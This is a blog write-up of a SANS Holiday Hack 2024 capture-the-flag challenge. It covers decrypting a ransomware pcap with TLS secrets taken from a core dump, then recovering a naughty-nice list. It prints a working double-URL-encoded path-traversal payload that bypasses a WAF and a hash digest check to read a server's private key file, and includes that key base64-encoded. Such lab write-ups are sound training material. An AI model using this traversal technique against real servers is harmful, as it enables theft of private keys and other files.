Saturday, January 4, 2025

SANS: Holiday Hack 2024: Decrypt the Naughty Nice List

This challenge only has a Gold track.

It's long, slightly frustrating and not easy.

This can be started by going to Tangle Coalbox near the Deactivate Frostbit Terminal.  After clicking on the Terminal, artifacts can be generated that are unique to each player. 

The artifacts are in a zip file called frostbitartifacts.zip.

The zip file has the following artifacts:

DoNotAlterOrDeleteMe.frostbit.json
frostbit.elf
frostbit_core_dump.13
naughty_nice_list.csv.frostbit
ransomware_traffic.pcap

The hints note that it would be nice to have strings.

strings should be ran on the frostbit.elf file and on the core dump.

The core dump contains the client and server secret keys necessary to decrypt the traffic in the pcap.  It isn't strictly necessary to decrypt the pcap, although helpful.

strings frostbit_core_dump.13 | grep SECRET > ssl_keys.log

When correctly done, it will look something like this:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 43f11f27bf14e29036678fea0c7499c695e1dc7ced82f0fb1c366e53a2864aa2

CLIENT_TRAFFIC_SECRET_0 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 915b456ea0dbcdd1d8b1d311766bba0ce12c18c1ee9d9b07e1dde6dd12852ae7

SERVER_HANDSHAKE_TRAFFIC_SECRET 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 fc17e1245eae067dd5d5c5ac123712e619fe8294888c791d86b1022cc6c0c041

SERVER_TRAFFIC_SECRET_0 4cb6604f7ecba8f7261fd896272b732d4a50e7bcc272cd3929245d3258cb1753 d67d1676089c1a4626c491831dcd417d01147fd242e96c39973ca97096303edc

Then check ssl_keys.log to make sure there aren't any invalid entries or duplicate entries.

Next, open the ransomware_traffic.pcap file in Wireshark and go to Edit>Preferences>Protocols>TLS.  Under Pre-Mater-Secret log filename, click on Browse and chose the ssl_keys.log file.

Once that is done, some of the traffic will be decrypted.  Click on one of the green http decrypted packets and right click>Follow HTTP Stream.

Couple things of note:  One) the encrypted key has been encrypted with an RSA public key and the nonce.  Both of these are necessary to decrypt this key.  The public key is also known as a key encryption key (kek) because it encrypts a key.

In the strings for the core dump, the status page is given to check the status of one of the ransomware bots.

For mine, it looks kind of like this:

https://api.frostbit.app/view/fXpdDhLEzffsUc/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=05c418140a8500d401821a0501d96320

The private key location that is needed is given in the SantaVision part of the CTF in the frostbinadmin topic.

Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key

The lfi isn't readily apparent.  It's not, but reminds me of hash length extension attack I saw in SANS SEC660.  The digest is vulnerable.  Just adding a single a for the digest causes it to disclose the location of source code.  The source code is in a publicly available directory.

https://api.frostbit.app/static/FrostBiteHashlib.py

The digest's job is to ensure that you're getting the file that is allowed by computing a hash that it uses to validate that you're grabbing a file you're permitted to access.  If your hash doesn't match the computed hash, you don't get the file you're requesting.  In this case it's vulnerable because the code allows you to specify your own hash.  I'm not 100% sure how this works to be honest.  Someone gave me a good nudge on this part and there was an Ed Skoudis hacking miracle.

There is also an lfi.  Replacing the status id with a payload and the path to the file that's desired, is how the lfi is done.  Unfortunately, it's not as simple as ../../../../ to get to the directory you want.  You have to double url encode it to get past the WAF.  %25 is a percent.  %2e is a '.'. %2f is a '/'.  The %25d1 are enyes when it's decoded.  What's odd is that that is Windows 1252 encoded enyes.  The attack ends up looking like this:


https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi%252efrostbit%252eapp%252ekey%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1%25d1/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=00000000000000000000000000000000&debug=1

Decoded - like this:

https://api.frostbit.app/view/../../../../etc/nginx/certs/api.frostbit.app.keyÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑ/f0452ef9-835a-456c-9b8a-2a7b681c72ed/status?digest=00000000000000000000000000000000&debug=1

At first, I didn't think that I'd gotten it because I did the deactivate challenge first, so I didn't see the debug data visible on the page.  Then I saw this in the raw response:

const debugData = "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3CjhHZ0Ftd3hJRm9kZHVkUCt4TU56OXU1bFJGRXhxRFdvSzJUeEtieWlHVE9LVjlJbHBaVUxGeWZWOS8vaTh2cTQKZXc3SDlUczdkdU5oNGdlSE55c2ZXcWRyVmViVFJaNkFlQ0FlSjJjWnVWUDRicmlhaTBYRHEyS1VkL3NjN2tnUQp4WEdndzB0L0ZxaURnbHBTRjFQRnhQdlV6SndjSk5RaElZUUN4UkN3SGtIcVZTblRvWmNuakpqaGdWeVhzVE55CjVwT0xCV3FnNW5Tblhyd2w4SmZHa1VITi9Ud2JiODI5cklNVDU1MFp4TzhLWUg0cS9rVjNjd1ZjU1lmRVl2TUoKSm9lUUZDZ0hpdUw1RXV4QVViTzZLWmdUblJXaFdRbW90VFFiK2ZDajhzaWxqZzhkSWR3eEI2OTBMdlpZcHZ2NAp5UExZZ3FDZjlQenpnclpQdmxKK1hrSW5KM3MvK0RPTDBWYkNnVEhQMGdicE83a2RqaVRPQlMxSnArRnRiQ0crCjZvbXZ3U2cvY0VMTm5zRENzNkYxeDMzaVI3dHVtZVF5U3dOUFdOR3Q2cE9IbXlHZkhZTDJSeGhqNVM1bkNYcXgKR0N4MnEybUg4bDRBTDViYnpWVnhFRWErK0ZnbmQ5cjI0U1NDM2J2bE5WVDBDRGZCZG9LelR1TzhST05CNFdLTgprYnFOaitNRThKREhVQTM5bGQveXFJVmlHampBRVIvTlRpc2hrNXprMDQxOUFpUXBIZk9VbkNOeHExN05aUDVLCmdMeHg3eHJUYUxkUG0wWDlhTU9jcXVJUGVuanJ3WmZJVnB5cVpvVW4vRDB6aW5vTklub2s4Q0ZkYkQ4Q0F3RUEKQVFLQ0FnQUFnd3o3UFp1YXFSc3VhZmM5WWJsWHlFcVRwaGlDQkd1SWh1aHVsOGhuSjJuYjBPTktyRHg5cmsxRQp0SWl6a1I4QklxcXdvblZveHRIOXVMS1VBMG9lcm13TFpGdFRxeWU2Q2FwVEJvWjFiWGNFTGxoeitBUkJuSHlICkRHL3JMY00rM1lTc3h1MEFsek4wcklHWDVMbmo0alRHdUZ2bEhudG1HYkxoOVFxSEpEelpLV21UQUNxVWNUTjAKOGJpTSt2NHc1UnRxNlBRb3Q3dllWUmNJQm5KcFR2Mm9xeU9mUlQ4RnJhbzlnMjEzSkE2eG5JOENLOVhKODN3eAo1NmtHcmluQUJVeGFvS0c2czMzK1hSSFR1cnN4S0R4SlB4elA2TkpzZ010VS84a3cwbEFLZ2hvTGNvZkVmbWZlCm9VQWw3Ull3T2ZkZ1VkVkpGZndzM3ZjbFBGeEFVTU5OaUpXOFRsL0lZNm1aNVBwMUdwaStvbUJPeVlmazlpeU0KUzhSNzZhZmozZDBSaHRUMEppaTg4eUZ0TUJWRkxTTDhZMHNYRVhFTWRJWHRveDdmY2IyVGxaeFhvZFlKZUhKQwowZExRM2I3Q0IrU1B5RGozeFpaSEVGajREUlh3dUNZS2xYc2FvbVhMN3E5YnFMOGxqakpxYzRXUldDZTErNTFlCnNGUDlmVU16dWM2bGNiSGN6TGhONWRnUitjcXJpTW84THpyd3BOaWE2RGpHeUJNZk95UExpTjBaN1pmWHJYRHYKVlNiQmpyTXFlTXRDNlNVMTBDZDJtVlpMTkpMakduSXdmL1NkdW83Vm9OVGc4RjlHY2FVclNxSEt1QjNkTVU5YwpydlJIQnhzRHI0aXN6VzRYMExDTTZ6U1U4NGFFUzFrUC9DTktnNHpaWFYyR3ZZTUdGUUtDQVFFQTV3RmQrWWJFCm4wMkhUWm8rOFYwUi9jSzM4TnZFREFBU0t4RXNSRU9UR3liS3c0QjlvQ0w2NHNFOFJZWE9yYllvMk1HTEM3SkwKcTA4eUxyRVdDY1dDT2JkRGhNYlR4WVYrSjByU0d4aUdqaU9MR0dvV3dnS0hTMUZuck9CZEw3YkZCcWF5RVNqaQpFcWZWTmsyVnJtbGhKS09NV3diMkFQR0w4czRxZFFrckhXd3B0cGMrVURKdUpIZGM2UUNzSHJIeWFmYWhmcXdkCmFUSHB5QlJxSUs2OUZtTVNCUGlTTUx4RSsxR0kyeW95MDBaNTVCRUVKalExYlRHMUhkT2tyTmY1ZkJmKzZXTkEKQTNkYy8yTGFEazdJb3RsNVpndWhsd1VReFp6eFdobjJYMjNOVmNRSkdqSjRzMEx3Snl6UGRpMUNVbGdBL1V5UQpyMlVhRDBueFlYbDV5d0tDQVFFQXVGZlEycE1kME03QytSN1NtZk4zNzY1b3FHS0wrMkZ3a1NncmhVVzJhV3psCjI3U215VlNDMExsb0dERzZHb3JyaHRMaXFtZkZHRFcrUkJwRzBhSklUR09TYmUzTjBWSDlwU3U5YnV1cm52SlcKRGppamFOREtKbnVpaG51QkgxVkRzSENaUk9JNld2REZXMXh5QlBYbzVuUlZZNnk1T3IyZUdUaS9rYkIvckVsZApFZHZ1QTJDY3dZT1NudWZmY2NROFRSSStSWExWMUpEVDNsV0dLeFJ2eUd1TVVJTnpOazBuWk44WC9WdzFTSTRKCmRmWmdXcm9peklaOWN1OVJoWVBkenFLVzU1VGR1S1JSRkRiU2JRRWVjUDgvSHhVdzBacjNTM1ovZFdBMnZTbUsKbzNPeG1TSXhuTmxBa1Zad3J0b0xyOHFYZ2d2TjVkVWR3LzBCVHJUWTNRS0NBUUVBeERjcURwQkZwUmFpYmUwdAp0N0NaWHBXdHpoMnR5WStwM3dFSU83ZTJWV0srNmc3VEpsbHdCM21oYTJBNzdOdUVtSkRWUFlzbHNRNWxEcm9HCmdTaE45QjVSY0krK1E5R2ZGVnI5V2x5YnRsSkVqT2xZQ1ZWQ2ZGeGFGc0xCQkkxWGo4MjZCTTlZTUFaMUdWb1AKWVFWTHFXWnVDc2UvMzQ5TWsySkJPQVlncEM1Q3hFQjFnb05EZ1NBT1FDLzlBMW1kRWhxV2xGVTM2aW1tYlBmQwpLWjZqS0VmZ2YyNXdKb3RVZ0xDQjhiOUhTcVJiVnJpSmNMWDZCNVVvUlh5SExQV0tpYmlNSXN2V0ROdXZsNUhzCnJDaUpUYUl4OXRhOFc5M0dvRVF0MFoycDR1Y09lZUk0NVJLbjZZUmJIcnQyUU9neXBHVHgralcxMC9XcGpBRC8KMGc3dnZ3S0NBUUIxVlYvWVg5K1FjcXBqU3AwZDVId29rTWlJdFFFSVprTHlBYkdCeUplTWp3WFhUQ3NFNXNmRQo5dDRzMkNudWp4SE81UmZsQXR2T3h4WnQzcFBKQnhRaG14Y3U1VGdselp3MnI1cUpxWE81WGVJc2R4eDdzTG1hCnVRTC91a2k3bXRmVXpEYWlRNlNGRWM5c2tYRDVlMVJjcXh0V3NDL09GYmMxc29zc3ZqemxlbVRFNDBtaDJMS3QKOFlNM3BicnhmTWdzL2ptb2xxbEgvVTc5cTA0VXlaTkU3RCtKVjhIVGhGUll2aTlVMG9ZUHdtaC9MdXl4a3R4bgpkZ3NQUndpS2hSNS9VYm5mZVQrUE1QZHllRnFEaXp6SEM1QXZ4cHNtTHc3TWQ0WTFQYUpaME1FdnZJb0VRR0YzCnhraDB1YUpMaVBuN1VHWVRIbFJWdjhxTVh0T2dOemY1QW9JQkFETUMyWDVGQmp5eHYveVRBUk9nOERuOTBLdGgKcDJQcUxEVkdlSERMMnYweGN5dkl0aEl2ZTMveEdaZ3RCZ2hmU3lNUGNxWjVzOGgxNW0rL1FOTmQ5NXpsN3hxRgo1REpQb1A2NncrL3dNK1c0bS92b01RTTFrYlFTbkRxdHRMekc0VEFYcmpxa2x2eDBRUUFKQWtDNVg5TDM5V3VFCit1SHJrTDJET09uMzJ0Y1N6aWM4U0hNY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K";

Base64 decoding that with Cyberchef - it's a beautiful RSA private key.

-----BEGIN RSA PRIVATE KEY-----

Key here

-----END RSA PRIVATE KEY-----

I remembered from another SANS class - SEC301 or SEC401 that when a preshared key is sent in transit, in order to protect that key, it's not sent in the clear.  First, it's encrypted with the public key - AKA key encryption key (kek) that I mentioned earlier.  As I recall, you usually need a private key and the nonce to decrypt it.  In this case, the nonce isn't necessary.

I did this in Cyberchef:

For the recipe, From Hex, then Decrypt RSA.  In the Decrypt RSA - put the nonce as the Key Password and the full Private Key in the Private key field.  Then added the encrypted key as the Input.

I got a 32 byte key and the nonce from before as a response.  To be honest, wasn't sure I was on the right track, so I asked someone and they challenged me to figure it out.  They asked the right questions and told me not to brute force it. :)  That's the beauty of these challenges.  Always awesome people willing to give you a hand.

Unfortunately, I didn't know what the algorithm was that the naughty_nice_list.csv.frostbit file was encrypted with.  Thankfully a kind soul gave me a nudge and hinted to use debug mode with the frostbit executable we were given.

AES CBC 256

Wouldn't you know - it's needs a 32 byte key and a 16 byte IV.

So I did this in Cyberchef as well. I used the naughty_nice_list.csv.frostbit file as the input.  The recipe was To Hex, and then AES Decrypt with the 32 byte key I decrypted earlier with Latin1 as the option.  Then an IV of 16 0's (Thankfully it was an easy to guess IV Lolz).  Mode CBC.  Input Hex, and Output Raw.

The child at 440 was:

Xena Xtreme

440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies

Put that in the Decrypt Naughty Nice List in the badge.

Gold medal achieved.





No comments:

Post a Comment